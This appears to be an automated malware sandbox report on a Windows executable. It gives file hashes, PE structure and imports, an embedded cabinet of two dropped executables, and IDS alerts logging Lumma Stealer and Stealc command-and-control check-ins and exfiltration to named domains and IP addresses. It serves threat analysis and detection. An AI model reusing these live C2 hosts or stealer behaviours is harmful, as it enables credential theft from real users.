MD5:	3918014BECF40A098492B2FA7123D72E
SHA1:	6769AF3BF0A2233D5C26DDBAF17E96B19E09486C
SHA-256:	A296EFFA4B88554F7F3B69C7ACD9818A1DB3B40347ACF129D3DC3E5A00DF8AAF
SHA-512:	ECAD1433F17FB11E1080E8C50311FE1B7E32CDEEE7728E166F0862D0ECFEE82E82CFAE1D1E60C681B0485734C209C4C34EE7791A32E7529F7B4FE340C952EBFE
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 1032

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	175897
Entropy (8bit):	5.549876394125764
Encrypted:	false
SSDEEP:	3072:t0PuJ7UV1+ApsOC3Ocr4ONnv4clQfOQMmzIWrBQoSpFMgDuq1HBGANYmYALJQIfr:t0PuJQ+ApsOOFZNnvFlqOQMmsWrBQoSd
MD5:	2368B9A3E1E7C13C00884BE7FA1F0DFC
SHA1:	8F88AD448B22177E2BDA0484648C23CA1D2AA09E
SHA-256:	577E04E2F3AB34D53B7F9D2F6DE45A4ECE86218BEC656B01DCAFF1BF6D218504
SHA-512:	105D51DE8FADDE21A134ACA185AA5C6D469B835B77BEBEC55A7E90C449F29FCC1F33DAF5D86AA98B3528722A8F533800F5146CCA600BC201712EBC9281730201
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ui=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Vi=class extends _.Q{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var Wi,Xi,aj,dj,cj,Zi,bj;Wi=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};Xi=function(){_.Ka()};aj=function(a,b){(_.Yi\|\|(_.Yi=new Zi)).set(a,b);(_.$i\|\|(_.$i=new Zi)).set(b,a)};dj=function(a){if(bj===void 0){const b=new cj([],{});bj=Array.prototype.concat.call([],b).length===1}bj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ej=function(a,b,c){a=_.rb(a,b,c);return Array.isArray(a)?a:_.Ac};._.fj=function(a,b){a=2&b?a\|2:a&-3;return(a\|32)&-2049};_.gj=function(a,b){a===0&&(a=_.fj(a,b));return a\|1};_.hj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.ij=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.lj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ej(a,b,d);var k=h[_

Chrome Cache Entry: 1034

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 1043

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
Reputation:	unknown
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.996509621209037
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	same.exe
File size:	6'932'992 bytes
MD5:	8fee55294b6ce710ba882421a1e282a1
SHA1:	f1da859228b828a84984afbe1777840aa520f4d6
SHA256:	644f889c72e122951a1aa1961f390fed9eb1fcbf2fee43f67b7151c411da6b13
SHA512:	5c2f768d58978ef5798c64e00a3ab130b04a3922a1f90dc85d71a7da3cb492076208e65dc7add0de7ba4d7f9a96a8a4e6df21453cdbf4e44946d6ad6e312f156
SSDEEP:	98304:Ews34wkL3ZF2eHZz14dNtDoyVMbFRUHkWaAm11FjCyhWpypQCJSBRmecn4jMlmj7:oo3z14droyqFuE/h1yy16FzjMlsIC9J
TLSH:	E16633172BF4A11AC4F85B7815F313971E343A52AA38C3ED57C6EDA20C93990B776C26
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...N...K...H...K...O...K...J...K...J...K...C...K.......K...I...K.Rich..K.........PE..L....`.b.................d.

File Icon


Icon Hash:	3b6120282c4c5a1f

Static PE Info

General

Entrypoint:	0x406a60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x628D60E2 [Tue May 24 22:49:06 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	646167cce332c1c252cdcb1839e0cf48

Entrypoint Preview

Instruction
call 00007F51C5071445h
jmp 00007F51C5070D55h
push 00000058h
push 004072B8h
call 00007F51C50714E7h
xor ebx, ebx
mov dword ptr [ebp-20h], ebx
lea eax, dword ptr [ebp-68h]
push eax
call dword ptr [0040A184h]
mov dword ptr [ebp-04h], ebx
mov eax, dword ptr fs:[00000018h]
mov esi, dword ptr [eax+04h]
mov edi, ebx
mov edx, 004088ACh
mov ecx, esi
xor eax, eax
lock cmpxchg dword ptr [edx], ecx
test eax, eax
je 00007F51C5070D6Ah
cmp eax, esi
jne 00007F51C5070D59h
xor esi, esi
inc esi
mov edi, esi
jmp 00007F51C5070D62h
push 000003E8h
call dword ptr [0040A188h]
jmp 00007F51C5070D29h
xor esi, esi
inc esi
cmp dword ptr [004088B0h], esi
jne 00007F51C5070D5Ch
push 0000001Fh
call 00007F51C507127Bh
pop ecx
jmp 00007F51C5070D8Ch
cmp dword ptr [004088B0h], ebx
jne 00007F51C5070D7Eh
mov dword ptr [004088B0h], esi
push 004010C4h
push 004010B8h
call 00007F51C5070EA6h
pop ecx
pop ecx
test eax, eax
je 00007F51C5070D69h
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, 000000FFh
jmp 00007F51C5070E89h
mov dword ptr [004081E4h], esi
cmp dword ptr [004088B0h], esi
jne 00007F51C5070D6Dh
push 004010B4h
push 004010ACh
call 00007F51C5071435h
pop ecx
pop ecx
mov dword ptr [000088B0h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa28c	0xb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x694238	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6a1000	0x888	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1410	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1008	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x288	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6314	0x6400	b0b66b32f4ca82e2e157c51b24da0be7	False	0.5744140625	data	6.314163792045976	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x8000	0x1a48	0x200	7b9890a93c0516bb070e1170cfde54d5	False	0.609375	data	4.970639543960129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa000	0x1052	0x1200	67ce48bf2e7c8fe3321ca7aa188f77e2	False	0.4140625	data	5.025949912909207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x695000	0x694400	7867bd436fb9b1fcdd3691a9fb0c5674	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6a1000	0x888	0xa00	6025c825c4098ef081ac8ee3c8d5dd22	False	0.746484375	data	6.222637930812128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xcb30	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0xf94c	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0xffb4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x1029c	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x10484	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x105ac	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x11454	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x11cfc	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.783410138248848
RT_ICON	0x123c4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
RT_ICON	0x1292c	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x20300	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x228a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x23950	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.703688524590164
RT_ICON	0x242d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_DIALOG	0x24740	0x2f2	data	English	United States	0.4389920424403183
RT_DIALOG	0x24a34	0x35c	data	Russian	Russia	0.44534883720930235
RT_DIALOG	0x24d90	0x1b0	data	English	United States	0.5625
RT_DIALOG	0x24f40	0x1b4	data	Russian	Russia	0.573394495412844
RT_DIALOG	0x250f4	0x166	data	English	United States	0.5223463687150838
RT_DIALOG	0x2525c	0x168	data	Russian	Russia	0.5361111111111111
RT_DIALOG	0x253c4	0x1c0	data	English	United States	0.5446428571428571
RT_DIALOG	0x25584	0x1e0	data	Russian	Russia	0.55
RT_DIALOG	0x25764	0x130	data	English	United States	0.5526315789473685
RT_DIALOG	0x25894	0x150	data	Russian	Russia	0.5416666666666666
RT_DIALOG	0x259e4	0x120	data	English	United States	0.5763888888888888
RT_DIALOG	0x25b04	0x122	data	Russian	Russia	0.5793103448275863
RT_STRING	0x25c28	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States	0.6214285714285714
RT_STRING	0x25cb4	0x86	Matlab v4 mat-file (little endian) K\0041\0045\004@\0048\004B\0045\004 , numeric, rows 0, columns 0	Russian	Russia	0.7164179104477612
RT_STRING	0x25d3c	0x520	data	English	United States	0.4032012195121951
RT_STRING	0x2625c	0x52e	data	Russian	Russia	0.39441930618401205
RT_STRING	0x2678c	0x5cc	data	English	United States	0.36455525606469
RT_STRING	0x26d58	0x592	data	Russian	Russia	0.4011220196353436
RT_STRING	0x272ec	0x4b0	data	English	United States	0.385
RT_STRING	0x2779c	0x4b2	data	Russian	Russia	0.3910149750415973
RT_STRING	0x27c50	0x44a	data	English	United States	0.3970856102003643
RT_STRING	0x2809c	0x43e	data	Russian	Russia	0.4567219152854512
RT_STRING	0x284dc	0x3ce	data	English	United States	0.36858316221765913
RT_STRING	0x288ac	0x2fc	data	Russian	Russia	0.4424083769633508
RT_RCDATA	0x28ba8	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x28bb0	0x676559	Microsoft Cabinet archive data, many, 6776153 bytes, 2 files, at 0x2c +A "N4H84.exe" +A "4O211C.exe", ID 1392, number 1, 248 datablocks, 0x1503 compression	Russian	Russia	0.9998254776000977
RT_RCDATA	0x69f10c	0x4	data	Russian	Russia	3.0
RT_RCDATA	0x69f110	0x24	data	Russian	Russia	0.8055555555555556
RT_RCDATA	0x69f134	0x7	ASCII text, with no line terminators	Russian	Russia	2.142857142857143
RT_RCDATA	0x69f13c	0x7	ASCII text, with no line terminators	Russian	Russia	2.142857142857143
RT_RCDATA	0x69f144	0x4	data	Russian	Russia	3.0
RT_RCDATA	0x69f148	0xb	ASCII text, with no line terminators	English	United States	1.7272727272727273
RT_RCDATA	0x69f154	0x4	data	Russian	Russia	3.0
RT_RCDATA	0x69f158	0xa	data	English	United States	1.8
RT_RCDATA	0x69f164	0x4	data	Russian	Russia	3.0
RT_RCDATA	0x69f168	0x6	data	Russian	Russia	2.3333333333333335
RT_RCDATA	0x69f170	0x7	ASCII text, with no line terminators	Russian	Russia	2.142857142857143
RT_RCDATA	0x69f178	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_GROUP_ICON	0x69f180	0xbc	data	English	United States	0.6117021276595744
RT_VERSION	0x69f23c	0x408	data	English	United States	0.42441860465116277
RT_VERSION	0x69f644	0x410	data	Russian	Russia	0.46826923076923077
RT_MANIFEST	0x69fa54	0x7e2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3761149653121903

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, lstrcmpA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, ExpandEnvironmentStringsA, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, FindNextFileA, LocalAlloc, GetShortPathNameA, MulDiv, GetDiskFreeSpaceA, EnumResourceLanguagesA, GetTickCount, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCurrentProcessId, QueryPerformanceCounter, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetStartupInfoW, Sleep, FindClose, GetCurrentProcess, FindFirstFileA, WaitForSingleObject, GetModuleFileNameA, LoadLibraryExA
GDI32.dll	GetDeviceCaps
USER32.dll	SetWindowLongA, GetDlgItemTextA, DialogBoxIndirectParamA, ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetDesktopWindow, CharUpperA, SetDlgItemTextA, ExitWindowsEx, MessageBeep, EndDialog, CharPrevA, LoadStringA, CharNextA, EnableWindow, ReleaseDC, SetForegroundWindow, PeekMessageA, GetDlgItem, SendMessageA, SendDlgItemMessageA, MessageBoxA, SetWindowTextA, GetWindowLongA, CallWindowProcA, GetSystemMetrics
msvcrt.dll	_controlfp, ?terminate@@YAXXZ, _acmdln, _initterm, __setusermatherr, _except_handler4_common, memcpy, _ismbblead, __p__fmode, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, __p__commode, _XcptFilter, memcpy_s, _vsnprintf, memset
COMCTL32.dll
Cabinet.dll
VERSION.dll	GetFileVersionInfoA, VerQueryValueA, GetFileVersionInfoSizeA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-03T15:21:12.403097+0100	2058656	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)	1	192.168.2.6	51747	1.1.1.1	53	UDP
2025-01-03T15:21:12.985914+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.6	49747	104.21.112.1	443	TCP
2025-01-03T15:21:12.985914+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49747	104.21.112.1	443	TCP
2025-01-03T15:21:13.519775+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49747	104.21.112.1	443	TCP
2025-01-03T15:21:13.519775+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49747	104.21.112.1	443	TCP
2025-01-03T15:21:14.066364+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.6	49753	104.21.112.1	443	TCP
2025-01-03T15:21:14.066364+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49753	104.21.112.1	443	TCP
2025-01-03T15:21:14.538450+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49753	104.21.112.1	443	TCP
2025-01-03T15:21:14.538450+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49753	104.21.112.1	443	TCP
2025-01-03T15:21:15.546272+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.6	49764	104.21.112.1	443	TCP
2025-01-03T15:21:15.546272+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49764	104.21.112.1	443	TCP
2025-01-03T15:21:16.633569+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.6	49775	104.21.112.1	443	TCP
2025-01-03T15:21:16.633569+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49775	104.21.112.1	443	TCP
2025-01-03T15:21:17.131678+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49775	104.21.112.1	443	TCP
2025-01-03T15:21:17.843954+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.6	49781	104.21.112.1	443	TCP
2025-01-03T15:21:17.843954+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49781	104.21.112.1	443	TCP
2025-01-03T15:21:19.395133+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.6	49792	104.21.112.1	443	TCP
2025-01-03T15:21:19.395133+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49792	104.21.112.1	443	TCP
2025-01-03T15:21:20.849943+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.6	49805	104.21.112.1	443	TCP
2025-01-03T15:21:20.849943+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49805	104.21.112.1	443	TCP
2025-01-03T15:21:22.894252+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.6	49823	104.21.112.1	443	TCP
2025-01-03T15:21:22.894252+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49823	104.21.112.1	443	TCP
2025-01-03T15:21:23.393059+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49823	104.21.112.1	443	TCP
2025-01-03T15:21:31.749851+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49873	185.215.113.206	80	TCP
2025-01-03T15:21:31.984330+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49873	185.215.113.206	80	TCP
2025-01-03T15:21:31.990616+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49873	TCP
2025-01-03T15:21:32.225746+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49873	185.215.113.206	80	TCP
2025-01-03T15:21:32.232458+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49873	TCP
2025-01-03T15:21:33.450072+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49873	185.215.113.206	80	TCP
2025-01-03T15:21:34.068662+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49873	185.215.113.206	80	TCP
2025-01-03T15:21:58.483419+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:21:59.680713+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:22:00.285798+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:22:00.803813+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:22:02.588207+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:22:03.095986+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50021	185.215.113.206	80	TCP
